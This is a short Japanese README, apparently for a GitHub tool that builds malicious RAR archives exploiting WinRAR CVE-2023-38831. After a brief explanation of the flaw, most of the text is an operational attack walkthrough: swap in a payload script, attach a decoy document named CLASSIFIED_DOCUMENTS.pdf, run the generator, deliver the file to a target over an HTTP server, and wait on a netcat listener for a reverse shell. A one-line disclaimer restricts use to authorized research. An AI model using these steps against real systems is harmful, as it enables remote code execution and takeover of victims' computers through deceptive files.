
# CVE-2023-38831を悪用した悪意のあるRARアーカイブを生成するツール WinRARのCVE-2023-38831を悪用して、ユーザーが無害なファイルを開いた際に任意のコードを実行させる悪意のあるRARアーカイブを生成します。Pythonベースのエクスプロイトジェネレーターとリスナー設定を備えています。
⚠️ 教育および許可されたセキュリティ研究目的のみに使用してください
元のPoC作者 b1tg および Group-IB Threat Intelligence に深く感謝します。
RARLabs WinRAR 6.23以前では、ユーザーがZIPアーカイブ内の無害なファイルを表示しようとした際に、攻撃者が任意のコードを実行できる可能性があります。

この問題は、ZIPアーカイブに無害なファイル(通常の.JPGファイルなど)と、その無害なファイルと同じ名前のフォルダが含まれ、無害なファイルのみにアクセスしようとした際にフォルダの内容(実行可能なコンテンツを含む可能性がある)が処理されるために発生します。これは2023年4月から8月にかけて実際に悪用されました。

まず、script.batファイルをあなたの危険な実行コードに変更します
おとりファイルを挿入します。画像(.png, .jpg)またはドキュメント(.pdf)を推奨します
次のコマンドを実行してエクスプロイトファイルを生成します
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
python http.server を使用してエクスプロイトファイルをターゲットマシンに送信します。例:
python -m http.server
攻撃機でリスナーをセットアップします:
nc -nlvp 4444
エクスプロイトファイルをダウンロードし、WinRAR 6.23以前のバージョンで開きます